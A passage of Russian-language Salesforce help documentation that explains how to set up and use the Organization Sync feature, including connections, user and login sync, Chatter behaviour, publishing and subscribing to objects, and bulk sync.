полномочий не подлежат синхронизации.

Наборы полномочий

Припубликациииподпискенаобъектбез типовзаписей,
а также при последующем создании типов записей для

Типы записей

объекта, рекомендуемповторноопубликоватьобъектдля
отображения типов записей во второстепенной
организации.

Роли

Настраиваемые вкладки и приложения для профилей
пользователя не подлежат синхронизации.

Профили пользователя

Неподдерживаемые метаданные
Ниже перечислены действия над поддерживаемыми метаданными, которые не подлежат синхронизации.

• Добавление и обновление метаданных во второстепенной организации

• Удаление метаданных в любой организации

Например, если пользователь создает или обновляет набор полномочий в основной организации, то данное изменение
применяется к второстепенной организации в течение 24 часов. Тем не менее, если набор полномочий обновляется во
второстепеннойорганизации, тообновлениенеприменяется косновнойорганизации, аобновлениевовторостепенной
организации будет перезаписано при следующей синхронизации.

Внимание: Переименованиеподдерживаемыхметаданных (например, переименованиенастраиваемогополя) может
повредить ссылки на метаданные внутри каждой организации. Чтобы избежать ошибок при переименовании
метаданных, клонируйте проблемные метаданные и назначьте им нужное имя. Метаданные верхнего уровня
(например, роли, профили и наборы полномочий) могут быть переименованы обычным способом; их
переименование не препятствует корректной синхронизации.
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Создание контакта подключения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания контактов:
• «Создание» для

контактов

Для просмотра контактов:
• «Чтение» для контактов

Чтобынастроитьподключениедляфункции «Синхронизацияорганизации», необходимо
назначить самого себя в качестве контакта подключения для второстепенной
организации. Данныйалгоритмпозволяетполучать сообщенияэл. почтыотносительно
второстепенной организации, а также без труда администрировать обе организации.

Страница «Подключения» отображает пользователя, управляющего основной
организацией, вполе «Ответственный за подключение», апользователя, управляющего
второстепенной организацией, в поле «Контакт».

1. Откройте основную организацию и создайте контакт.

a. Откройте вкладку «Контакты».

b. Нажмите кнопку «Создать».

c. Заполните поля «Личное имя» и «Фамилия» текстом, определяющим контакт
второстепенной организации. Например, введите значение «ОльгаПетрова
(второстепенная)» для имени «ОльгаПетрова».

d. Чтобывыбратьорганизациюкомпании, воспользуйтесьпоискомнапротивполя
«Имя организации».

e. Заполните поле «Эл. почта» собственным адресом эл. почты.

Важное замечание: Данное действие позволяет получать сообщения эл.
почты, касающиеся подключения.

f. Нажмите кнопку «Сохранить».

Подключение организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать подключение
для репликациимежду двумя
организациями Salesforce,
выполните следующие
действия.
• «Управление

подключениями»

После настройки основной и второстепенной организаций для функции
«Синхронизация организации» нужно настроить подключение между данными
организациями. Данноеподключениепозволяетобновлятьпотокмеждуорганизациями.

1. Откройте вкладку «Подключения» в основной организации.

2. Нажмите кнопку «Создать».

3. Выберите имя контакта, созданного для настройки подключения. Поле
«Организация» автоматически заполняется названием компании.

4. Выберите администратора, назначенного для управления подключением, в поле
«Ответственный за подключение».

5. Выберите значение «Репликация» в поле «Тип подключения».

6. Принеобходимостиразрешитесинхронизациюлентиполейаудитадлявсехзаписей
(рекомендуется).

Прим.: При отсутствии данного параметра обратитесь к администратору
Salesforce для включения полномочия создания полей аудита в организации.

7. При необходимости разрешите синхронизацию поддерживаемых метаданных
(рекомендуется).

8. При необходимости разрешите синхронизацию пользователей (рекомендуется).
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9. Нажмите кнопку «Сохранить и отправить приглашение».

10. Проверьтепапку входящихнаналичие электронногоприглашениядляподтвержденияподключения. Чтобыпринять
приглашение, щелкните ссылку в сообщении эл. почты. Данное действие открывает страницу входа Salesforce.

11. Выполните входпосредствомименипользователяипароля для второстепеннойорганизации. Приэтомоткрывается
страница сведений о подключении для синхронизации организации. Чтобы выполнить подключение, нажмите
кнопку «Принять» в разделе сведений о подключении.

Совет: Страница сведений о подключении является центромподключения «Синхронизация организации». После
настройкиподключениярекомендуетсяпросмотретьинтерактивныйобзор, посвященныйвопросамиспользования

данной страницы. Просмотреть обзор: просмотр страницы сведений о подключении. Прежде чем начать
работу, добавьте вкладку «Подключения» в среду Salesforce.

Определение алгоритмов взаимодействия с пользователемфункции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При необходимости определите способ перенаправления пользователей во
второстепеннуюорганизациюинастройте автоматическиеуведомленияпользователей
о начале периода обслуживания.

Уведомление пользователей о синхронизации организации
Рекомендуем заранее уведомлять пользователей о предстоящей синхронизации
организации, котораявлияетнаалгоритмыихвзаимодействиявовремяобслуживания.
Опишитевозможныеситуациивовремяобслуживанияинапомнитеонеобходимости
использования других регистрационных данных для второстепенной организации.
Рекомендуем настроить форум (например, группу Chatter), позволяющий
пользователям задавать свои вопросы.

Перенаправление пользователей во второстепенную организацию
При выполнении технического обслуживания рекомендуем перенаправить
пользователей на URL-адрес второстепенной организации. Воспользуйтесь одним из указанных ниже способов.

• Настройте автоматическую пакетную электронную рассылку, уведомляющую пользователей о необходимости
переключения на второстепенную организацию и содержащую URL-адрес второстепенной организации.

• Создайте URL-адрес, перенаправляющийпользователейвовторостепеннуюорганизациювовремяобслуживания.

• Настройтефункциюединойрегистрации, перенаправляющуюпользователей во второстепеннуюорганизацию
во время обслуживания.

Расписаниетехническогообслуживаниядоступнонавеб-узле trust.salesforce.com. Пользователимогутперенаправляться
во второстепенную организацию в любое время и на любой срок.

Создание визуальных подсказок
Пользователимогут заметить, чтовторостепеннаяорганизациясодержиттолькотеобъекты, которыеподдерживаются
функцией «Синхронизация организации». При необходимости создайте визуальные подсказки, уведомляющие
пользователейонахождениивовторостепеннойорганизации. Например, добавьтесообщениенаначальнуюстраницу
или боковую панель.
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Управление пользовательскими данными в функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прииспользованиифункции «Синхронизацияорганизации» записипользователейиз
основной организации соотносятся с аналогичными записями пользователей из
второстепенной организации. Прежде чем обновить конфигурацию, рекомендуем
просмотреть порядок обновления записей пользователей между организациями.

Как добавить пользователей во второстепенную организацию?
Если установить флажок «Синхронизировать пользователей» при отправке
приглашенияна подключение для «Синхронизацииорганизации» (рекомендуется),
тогда все пользователи со стандартными лицензиями Salesforce автоматически
копируются во второстепенную организацию сразу после принятия приглашения.
Установка данного флажка также гарантирует синхронизацию связанных с
пользователями обновлений между организациями.

Чтобыдобавитьзаписивовторостепеннуюорганизациювручную, неустанавливайте
флажок «Синхронизировать пользователей» при отправке приглашения на подключение. Затем добавьте записи
во второстепенную организацию предпочитаемым методом.

Важное замечание:

• Еслидобавление записейпользователейвовторостепеннуюорганизациювыполняется вручную, это следует
сделать до начала копирования данных во второстепенную организацию посредством пакетной
синхронизации. Если запись во второстепенной организации ссылается на пользователя, которого пока не
существует в этойорганизации, этотпользователь автоматическистановитсяответственнымзаподключение,
а правильное значение поля в основной организации впоследствии будет заменено на новое значение.

• Чтобы вручную запустить копирование всех пользователей, когда выбрана функция синхронизации
пользователей, откройте страницу подробных сведений о подключении для функции «Синхронизация
организации» восновнойорганизации. Вразделе «Сведенияоподключении» щелкните «Правка», снимите
флажок «Синхронизироватьпользователей»инажмите «Сохранить». Затем сноващелкните «Правка»,
установите флажок «Синхронизировать пользователей» и нажмите «Сохранить».

Как пользователи выполняют вход во второстепенную организацию?
Пользователи выполняют вход во второстепенную организацию посредством измененного имени пользователя
основной организации и настраиваемого пароля.

Как проверить, что все пользователи добавлены во второстепенную организацию?
Проверьте значение поля «Статус подключения» на странице подробных сведений о подключении для функции
«Синхронизацияорганизации» восновнойорганизации. Сразупослепринятияприглашениянаподключениестатус
подключения принимает значение «Выполняется синхронизация метаданных», если выбрана синхронизация
метаданных, иэтоговоритовыполнениикопированияподдерживаемыхметаданныхвовторостепеннуюорганизацию.
После этогоначнется копированиепользователейвовторостепеннуюорганизациюистатусподключенияизменится
на «Выполняется синхронизация пользователя». Статус подключения «Активно» указывает на завершение
синхронизации и доступность всех записей пользователей во второстепенной организации. Ошибки копирования
пользователей регистрируются в журнале синхронизации организации.

Как долго выполняется синхронизация?
Продолжительность синхронизации определяется объемом пользовательских данных в основной организации.

Какие типы пользователей синхронизируются?
Синхронизируются все пользователи со стандартными лицензиями Salesforce. Подробнее о том, какие пользователи
подпадают под эту категорию, см. в разделе «Стандартные лицензии пользователя».
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Подлежат ли обновления пользователей синхронизации?
Да. Данныеобновлениясинхронизируютсяврежимереальноговременивобоихнаправленияхмеждуорганизациями:

• Добавление, обновление или деактивация пользователя

• Назначение или переназначение роли, профиля или набора полномочий пользователю (при условии, что роль,
профиль или набор полномочий существует в обеих организациях)

Синхронизация метаданных также инициирует автоматическую синхронизацию изменений других метаданных
пользователей (например, создание и обновление профилей пользователей).

Прим.: Чтобы выполнять синхронизацию пользователей только в одном направлении — из основной
организации во второстепенную, — войдите во второстепенную организацию и снимите флажок
«Синхронизировать пользователей» на странице подробных сведений о подключении для функции
«Синхронизация организации». После этого обновленные сведения пользователей не будут передаваться из
второстепенной организации в основную.

Как синхронизировать пользователей и не синхронизировать метаданные?
Чтобыисключитьвозможныенеполадки, рекомендуетсяустановитьобафлажка: «Синхронизироватьпользователей»
и «Синхронизировать метаданные» при отправке приглашения на подключение. Однако, если необходимо
синхронизировать только пользователей без метаданных, не принимайте приглашение на подключения до тех пор,
пока не будут обновлены метаданные во второстепенной организации в соответствии с метаданными основной
организации. Отсутствие метаданных пользователей (например, профили пользователей) во второстепенной
организациипрепятствуетвыполнениюпакетнойсинхронизациипользователейитребуетееповторноговыполнения.
Ошибки синхронизации пользователей регистрируются журналом синхронизации организации.

Управление входами во второстепенную организацию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям функции «Синхронизация организации» предоставляются отдельные
регистрационные данные для доступа ко второстепенной организации. Подобно
основной организации, второстепенная организация также позволяет настраивать и
управлять входами пользователей.

Пользователи выполняют вход во второстепенную организацию посредством
измененного имени пользователя основной организации и настраиваемого пароля.
Имена пользователей второстепенной организации завершаются суффиксом .dr,
обеспечивающим правильное соотнесение записей пользователей между двумя
организациями. Например, имя пользователя основной организации
spetrov@moyakompaniya.ruсоответствуетименипользователявторостепеннойорганизации
spetrov@moyakompaniya.ru.dr.

Суффикс .dr автоматически добавляется к именам пользователей при копировании
записипользователя во второстепеннуюорганизацию. Однакопридобавленииновогопользователя во второстепенной
организации суффикс .dr должен быть добавлен к имени пользователя вручную. При отсутствии суффикса .dr запись
пользователя не копируется во второстепенную организацию. Ошибки имен пользователей отображаются в журнале
синхронизации организации во второстепенной организации.

Прим.: Пользователь, заблокированный в основной организации в результате превышения максимального
количества попыток ввода пароля, может выполнить вход во второстепенную организацию.

Настройка входов пользователей

После завершения синхронизациипользователей администратор Salesforce должен выполнить вход во второстепенную
организациюисбросить всепароли. Данныйалгоритмотправляет всемпользователямсообщениеэл. почты, содержащее
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временный пароль. Уведомите пользователей, что данное сообщение эл. почты содержит пароль для второстепенной
организации, предназначенный для соответствующего имени пользователя (имя пользователя Salesforce, дополненное
префиксом .dr).

Пользователи могут входить в любую организацию со страницы входа Salesforce путем ввода соответствующих
регистрационныхданных. Управлениевходамипользователейдлявторостепеннойорганизациивыполняетсяаналогично
основной организации.

Срокдействиявременныхпаролейдляновыхпользователейсоставляетшестьмесяцев. Рекомендуемизменитьвременный
пароль при первом входе. Ссылка входа, добавленная в сообщение эл. почты, может использоваться только один раз.
Пользователь, открывший ссылку без изменения пароля, может выполнить повторный вход только после сброса пароля
администратором.

Особенности работы Chatter при использовании функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Несмотрянаожидаемуюработу Chatter вовторостепеннойорганизации, функции Chatter
(например, группы, упоминания, предпочтения и темы) не синхронизируются между
основной и второстепенной организациями.

Ниже перечислены особенности работы Chatter при включении двусторонней
синхронизации.

Сообщения
Сообщения и комментарии синхронизируются между организациями, поэтому
сообщение, опубликованное в одной организации, также отображается в другой
организации.

Прим.: Организации должны поддерживать синхронизированные ленты.

Предпочтения
Пользователимогутточнотакжевыбиратьпонравившиесясообщенияикомментариивовторостепеннойорганизации;
однако, предпочтения, выбранные в одной организации, не отображаются в другой организации. Независимо от
организации, использовавшейсяпривыборепонравившегося сообщения, пользователямотправляются электронные
уведомленияовыполнениидействийнадпонравившимисясообщениямииликомментариями. Например, пользователь
выбираетпонравившеесясообщениевовторостепеннойорганизации. Приоткрытииосновнойорганизацииданное
сообщение не будет отображаться как понравившееся. Тем не менее, пользователю будет отправлено электронное
уведомление при публикации комментария к данному сообщению в одной из организаций.

Публикации
Пользователимогут точнотакженажиматькнопку «Опубликовать»для сообщенийвовторостепеннойорганизации.

Группы
Пользователи могут точно также создавать и редактировать группы Chatter во второстепенной организации; однако,
группы не синхронизируются между двумя организациями. Другими словами, группа, существующая в основной
организации, не отображается во второстепенной организации (и наоборот).

Упоминания
Пользователимогут точнотакжеупоминатьдругихпользователейигруппывовторостепеннойорганизации; однако,
упоминания, добавленныеводнойорганизации, неактивнывдругойорганизации. Например, пользовательпубликует
в основной организации следующий комментарий: «@Анна Григорьева, возможно, Вам будет интересно». Данный
комментарий будет отображаться во второстепенной организации, но упоминание «@Анна Григорьева» не будет
открывать соответствующий профиль.
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Темы
Пользователи могут точно также дополнять сообщения темами во второстепенной организации; однако, темы не
синхронизируютсямеждудвумяорганизациями. Другимисловами, сообщение, которое содержит темы, добавленные
в основной организации, будет отображаться во второстепенной организации без тем.

Синхронизация важных данных

Публикация и подписка на объекты в функции «Синхронизация организации»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

После связыванияосновнойивторостепеннойорганизацийпосредствомподключения
для синхронизации организации рекомендуется выполнить процесс публикации и
подписки, позволяющий применять вставки, обновления и удаления записей к обеим
организациям.

Процесспубликациииподпискипозволяетпубликовать объектыиихполя в основной
организации, а подписываться во второстепенной организации. Затем аналогичный
процессповторяется вобратномпорядке. Данныйалгоритмгарантируетдвустороннюю
синхронизацию обновлений записей.

Публикация объекта не инициирует копирование записей во второстепенную
организацию; даннаяоперацияпростосоздаетпуть, позволяющийвыполнятьпакетную
синхронизацию для копирования записей данного типа объекта из основной
организации во второстепенную. Например, при публикации объекта «Организация»
пользователь может выполнить пакетную синхронизацию для копирования всех его записей во второстепенную
организацию. После выполнения начальной пакетной синхронизации все вставки, обновления и удаления записей
данного типа объекта автоматически применяются к обеим организациям.

Совет: Страница сведений о подключении является центромподключения «Синхронизация организации». После
настройки подключения рекомендуется просмотреть интерактивный обзор по вопросам использования данной

страницы. Просмотреть обзор: просмотр страницы сведений о подключении. Прежде чем начать работу,
добавьте вкладку «Подключения» в среду Salesforce.

Какие объекты могут быть опубликованы?

Функция «Синхронизацияорганизации» позволяетпубликоватьтолькоопределенныеобъекты. Тщательнообдумайте
выбор объектов для публикации. Рекомендуем публиковать только важные объекты.

Общие сведения о взаимосвязях поиска
Прежде чем начать процесс публикации и подписки, убедитесь, что полностью понимаете роль, выполняемую
поискамиприиспользованиифункции «Синхронизацияорганизации». Синхронизацияорганизацииавтоматически
сохраняет большинство стандартных взаимосвязей поиска. Однако рекомендуется публиковать объекты и их поля
соответствующим образом, отражающим иерархию используемой модели данных.

Публикация объектов во второстепенную организацию
После настройки подключения для синхронизации организации можно опубликовать нужные объекты во
второстепенной организации.

Редактирование опубликованных полей
При публикации объекта рекомендуем также определить публикуемые поля данного объекта. По умолчанию
публикация родительского объекта инициирует публикацию всех поддерживаемых полей. При необходимости
публикация полей может быть отменена. Неопубликованное поле не отображается в связанной организации.
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Подписка на объекты во второстепенной организации
Рекомендуем подписаться на опубликованный объект во второстепенной организации. При подписке на объект
пользователь выполняет соотнесение объекта с самим собой, позволяя записям данного типа объекта отображаться
во второстепенной организации.

Редактирование подписанных полей
Подписка на объект в функции «Синхронизация организации» инициирует автоматическую подписку на его поля.
Автоматическое соотнесение полей гарантирует правильную синхронизацию данных.

Выполнение процесса публикации
Благодаря публикации объектов в основной организации и подписке на данные объекты во второстепенной
организации, обновления записей для данных типов объектов могут передаваться из основной организации во
второстепенную. Чтобы выполнить двустороннюю синхронизацию обновлений, рекомендуем опубликовать и
подписаться на данные объекты в обратном направлении — из второстепенной организации в основную.

Какие объекты могут быть опубликованы?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Синхронизация организации» позволяет публиковать только определенные
объекты. Тщательно обдумайте выбор объектов для публикации. Рекомендуем
публиковать только важные объекты.

При выборе объектов для публикации рекомендуем учитывать взаимосвязи между
объектами. Если один объект является потомком другого (например, объект «Контакт»
является потомком объекта «Организация»), рекомендуем опубликовать оба объекта.

Нижеперечисленыобъекты, которыемогутпубликоватьсяприиспользованиифункции
«Синхронизация организации».

Любой развернутый настраиваемый объект

Организация

Вложение (личное и общедоступное)

Обращение

Комментарий к обращению (личный и общедоступный)

Участник группы, работающей с обращениями
Сюдаотносятся участникипредопределеннойгруппы, работающейсобращениями; применяется толькок участникам
рабочих групп, являющимсяпользователями. Участникирабочих групп, являющиесяконтактами, неподдерживаются.

Контакт
Прииспользованииорганизаций-лицрекомендуемодновременноопубликоватьобъекты «Контакт» и «Организация».

Сообщение эл. почты
Электронные черновики и встроенные изображения не поддерживаются.

Комментарий ленты

Элемент ленты
При выборе параметра «Синхронизировать ленты и поля аудита» во время настройки подключения синхронизация
лентмежду двумяорганизациямивыполняется толькопослепубликацииобъектов «Элементленты» и «Комментарий
ленты». Поддерживаются только сообщения размером не более 50 Мб.
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Интерес

Возможность
Рекомендуем обновить этапы возможности со страницы сведений о записи возможности. Функция «Синхронизация
организации» не поддерживает действия глобального поиска и замены для этапов возможности, а также не позволяет
их синхронизировать между основной и второстепенной организациями.

Продукт

Задача

Общие сведения о взаимосвязях поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем начать процесс публикации и подписки, убедитесь, что полностью
понимаетероль, выполняемуюпоискамиприиспользованиифункции «Синхронизация
организации». Синхронизация организации автоматически сохраняет большинство
стандартных взаимосвязей поиска. Однако рекомендуется публиковать объекты и их
полясоответствующимобразом, отражающимиерархиюиспользуемоймоделиданных.

Система Salesforce позволяет сохранять иерархические взаимосвязи поиска не глубже
одногоуровня. Например, системасохраняетпоискимеждудочернимобъектом «Контакт»
и родительским объектом «Организация».

Удалениеродительскогообъектаизсистемы Salesforce инициируетудалениеегодочерних
объектов (например, вложения). Данныйалгоритмтакжераспространяетсянафункцию
«Синхронизацияорганизации». Например, присинхронизацииобращения, содержащего
вложения, обратимоеудалениеобращенияизоднойорганизацииинициируетобратимое
удаление обращенияи его вложенийиз обеих организаций. Аналогичнымобразом, восстановление обращения в одной
организации инициирует восстановление обращения и его вложений в обеих организациях.

Чтобы гарантировать сохранность взаимосвязей поиска публикуемых объектов, воспользуйтесь рекомендациями ниже.

• Оба объекта должны быть выбраны для публикации и подписки.

• Родительскийобъект долженбытьопубликованво второстепеннойорганизациинепозднеедочернегообъекта. Если
дочерний объект взаимосвязи поиска публикуется раньше родительского, то поле поиска остается пустым; если это
поле поиска обязательно для заполнения — репликация записи завершится неудачей. Во избежание возможных
нарушений, рекомендуем публиковать все объекты одновременно.

• Модель данных не должна содержать циклические зависимости.
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Публикация объектов во второстепенную организацию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
опубликованных объектов:
• «Управление

подключениями»

После настройки подключения для синхронизации организацииможно опубликовать
нужные объекты во второстепенной организации.

При публикации и подписке на объект пользователь создает связь между основной и
второстепенной организациями, позволяющую применять вставки, обновления и
удаления записей данного объекта к обеим организациям.

Чтобыопубликоватьобъектыизосновнойорганизациивовторостепенную, выполните
указанные ниже действия.

1. Выполните вход в основную организацию.

2. Откройте вкладку «Подключения».

3. Щелкните имя нужного подключения в столбце «Имя подключения».

4. Нажмите кнопку «Публиковать/отменить публикацию» в разделе
«Опубликованные объекты».

5. Выберите все нужные объекты.

6. Нажмите кнопку «Сохранить». Опубликованные объекты отображаются в разделе «Опубликованные объекты».
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Редактирование опубликованных полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
опубликованных полей:
• «Управление

подключениями»

При публикации объекта рекомендуем также определить публикуемые поля данного
объекта. По умолчанию публикация родительского объекта инициирует публикацию
всех поддерживаемых полей. При необходимости публикация полей может быть
отменена. Неопубликованное поле не отображается в связанной организации.

Чтобы отредактировать опубликованные поля объекта, выполните указанные ниже
действия.

1. Откройте вкладку «Подключения».

2. Щелкните имя нужного подключения в столбце «Имя подключения».

3. Щелкните ссылку «Правка» напротив имени нужного объекта в разделе
«Опубликованные объекты».

Данноедействиеинициируетотображениесписка связанныхполей. Поумолчаниювыбираются всеподдерживаемые
поля.

Прим.:

• Список публикуемых полей не содержит поля аудита ввиду их автоматической синхронизации.

• Поля типа «Область обогащенного текста» не могут быть опубликованы.

• Поля формулы и поля сводного резюмирования не могут быть опубликованы, так как их значения
определяются значениями других полей. В качестве временного решения опубликуйте поля ввода для поля
формулыилиполя сводногорезюмирования. Затем создайтеидентичноеполеформулыилиполе сводного
резюмирования во второстепенной организации, ссылающейся на данные поля ввода, для вычисления его
значения.

• Поляпоисканеопубликованныхобъектовнепубликуются автоматически, т.к. публикациятакихполейможет
привести к ошибкам синхронизации. Например, если поле объекта типа «Контакт» содержит поиск
организаций, а объект типа «Организация» еще не опубликован, такое поле можно опубликовать только
вручную.

4. Отменитевыборлюбыхнужныхполей. Преждечемопубликоватьполе, определитевзаимосвязипоиска, подлежащие
изменению.

5. Нажмите кнопку «Сохранить».

6. При применении двусторонней синхронизации и отмене публикации поля после его публикации и подписки
повторите предыдущие действия в связанной организации.
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Внимание: Нижеперечисленыдействиянадполеморганизации, инициирующиеавтоматическуюотменуподписки
на данное поле в связанной организации.

• Удаление поля

• Изменение типа поля

• Изменение размера или точности поля типа «Область подробного текста», «Текст», «Процент», «Число» или
«Валюта»

Поле остается опубликованным, но требует повторной подписки в связанной организации.

Прим.: Чтобы добавить поле в опубликованный объект, рекомендуется опубликовать и подписаться на поле для
синхронизации его обновлений. Рекомендуется сначала опубликовать поле и подписаться на него, и только после
этого обновлять значение поля.

Подписка на объекты во второстепенной организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
подписанных объектов:
• «Управление

подключениями»

Рекомендуемподписатьсянаопубликованныйобъект вовторостепеннойорганизации.
При подписке на объект пользователь выполняет соотнесение объекта с самим собой,
позволяя записямданного типа объекта отображаться во второстепеннойорганизации.

Чтобыподписаться на объекты во второстепенной организации, выполните указанные
ниже действия.

1. Выполните вход во второстепенную организацию.

2. Откройте вкладку «Подключения».

3. Щелкните имя нужного подключения в столбце «Имя подключения».

4. Нажмите кнопку «Подписаться/отменить подписку» в разделе «Подписанные
объекты».

5. Выберите параметр «Автоматическое соотнесение объектов» для соотнесения
каждогообъектассамимсобой. Например, объект «Организация» будетсоотноситься
с объектом «Организация».

6. Нажмите кнопку «Сохранить». Теперь подписанные объекты отображаются в
разделе «Подписанные объекты».

Подписка на объект в функции «Синхронизация организации» инициирует
автоматическоесоотнесениеиподпискунавсеегополя. Чтобыотменитьсинхронизацию
отдельного поля, отмените его публикацию.
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Редактирование подписанных полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
подписанных полей:
• «Управление

подключениями»

Подписка на объект в функции «Синхронизация организации» инициирует
автоматическуюподпискуна егополя. Автоматическое соотнесениеполей гарантирует
правильную синхронизацию данных.

Чтобы просмотреть подписанные поля объекта, выполните указанные ниже действия.

1. Выполните вход в организацию-подписчик.

2. Откройте вкладку «Подключения».

3. Щелкните имя нужного подключения.

4. Щелкните ссылку «Правка» напротив имени нужного объекта в разделе
«Подписанные объекты».
Подписканаполевыполняетсяприналичиивстолбце «Поляпользователя» любого
значения соотнесения, кроме значения «--Нет--». Поля должны соотноситься
между собой (например, поле «Описание организации» соотносится с полем
«Описание организации»).

Прим.:

• Параметр «Недоступно», отображаемый для поля в столбце «Поля
пользователя», указывает на использование данного поля для поиска
неподписанного объекта. После подписки на проблемный объект подписка
на соответствующие поля поиска выполняется автоматически.

• Чтобы отменить синхронизацию отдельного поля, просто отмените его
публикацию; отмена подписки не требуется.

Выполнение процесса публикации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для публикациии подписки
на объекты:
• «Управление

подключениями»

Благодаряпубликацииобъектоввосновнойорганизациииподпискенаданныеобъекты
вовторостепеннойорганизации, обновлениязаписейдляданныхтиповобъектовмогут
передаваться из основной организации во второстепенную. Чтобы выполнить
двустороннююсинхронизациюобновлений, рекомендуемопубликоватьиподписаться
на данные объекты в обратном направлении — из второстепенной организации в
основную.

Важное замечание: Припримененииодностороннейсинхронизациипропустите
данный процесс.

1. Откройте второстепенную организацию и опубликуйте все объекты в основную
организацию.

2. Откройте основную организацию и выполните указанные ниже действия.

a. Подпишитесь и соотнесите все опубликованные объекты.

b. При необходимости измените подписанные поля объекта.

После публикации и подписки на объекты в обоих направлениях (из основной
организации во второстепенную, а также из второстепенной организации в основную)
рекомендуем выполнить пакетную синхронизацию для копирования записей во
второстепеннуюорганизацию. Послевыполненияначальнойпакетнойсинхронизации
все вставки, обновления и удаления записей автоматически применяются к обеим
организациям.
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Выполнение пакетной синхронизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения пакетной
синхронизации:
• «Управление

подключениями»

Пакетная синхронизация инициирует копирование любой новой записи
опубликованного и подписанного типа объекта, обеспечивая доступность записи в
обеих организациях. Пакетная синхронизация копирует записи в одном направлении,
поэтому выполнение пакетной синхронизации в основной организации инициирует
копирование новых записей во второстепенной организации.

Чтобы выполнить пакетную синхронизацию, выполните указанные ниже действия.

1. Щелкните «Пакетная синхронизация» на странице сведений о подключении для
синхронизации организации.
Страница пакетной синхронизации отображает список всех опубликованных
объектов.

2. Определите количество объектов для синхронизации или выберите контрольную
дату за прошлый год для определения записей, подлежащих синхронизации.

Важное замечание: Контрольнаядатапо умолчанию — за один годдо текущей
даты. При начальной пакетной синхронизации рекомендуем использовать
пакетную синхронизацию записей на основе даты, позволяющую уменьшить
объем данных, обрабатываемых за один раз.

Например, сначала выполните пакетную синхронизацию на основе первой
контрольнойдаты (тримесяцаназад), а затемвыполнитеследующуюпакетную
синхронизацию на основе второй контрольной даты (шесть месяцев назад).
Группированиезаписейне требуетдополнительноговремениввидуотсутствия
повторной синхронизации уже синхронизированных записей.

3. Нажмите кнопку «Начать синхронизацию».

Рекомендации по пакетной синхронизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Синхронизация
организации» доступна в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пакетная синхронизация инициирует копирование любой записи опубликованного и
подписанного типа объекта, обеспечивая доступность записи в обеих организациях.
Копированиезаписипосредствомпакетнойсинхронизацииинициируетсинхронизацию
любых будущих обновлений записи.

Когда следует выполнять пакетную синхронизацию?
Выполнение процесса публикации и подписки при настройке функции
«Синхронизация организации» не инициирует добавление записей во
второстепенную организацию. Чтобы быстро заполнить второстепенную
организацию записями для предоставления пользователям доступа к данным во
время простоя, выполните начальную пакетную синхронизацию. Кроме того,
рекомендуем выполнять пакетную синхронизацию при каждой публикации и
подписке на новые объекты.

Как выбрать контрольную дату на странице пакетной синхронизации?
Пакетная синхронизация инициирует копирование любых записей, созданных или измененных после наступления
определенной даты в пределах одного года. Данная дата выбирается на странице пакетной синхронизации. При
начальной пакетной синхронизации рекомендуем использовать пакетную синхронизацию записей на основе даты,
позволяющую минимизировать объем данных, обрабатываемых за один раз.
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Например, сначала выполните пакетную синхронизацию на основе первой контрольной даты (три месяца назад), а
затем выполните следующуюпакетную синхронизациюна основе второй контрольной даты (шесть месяцев назад).
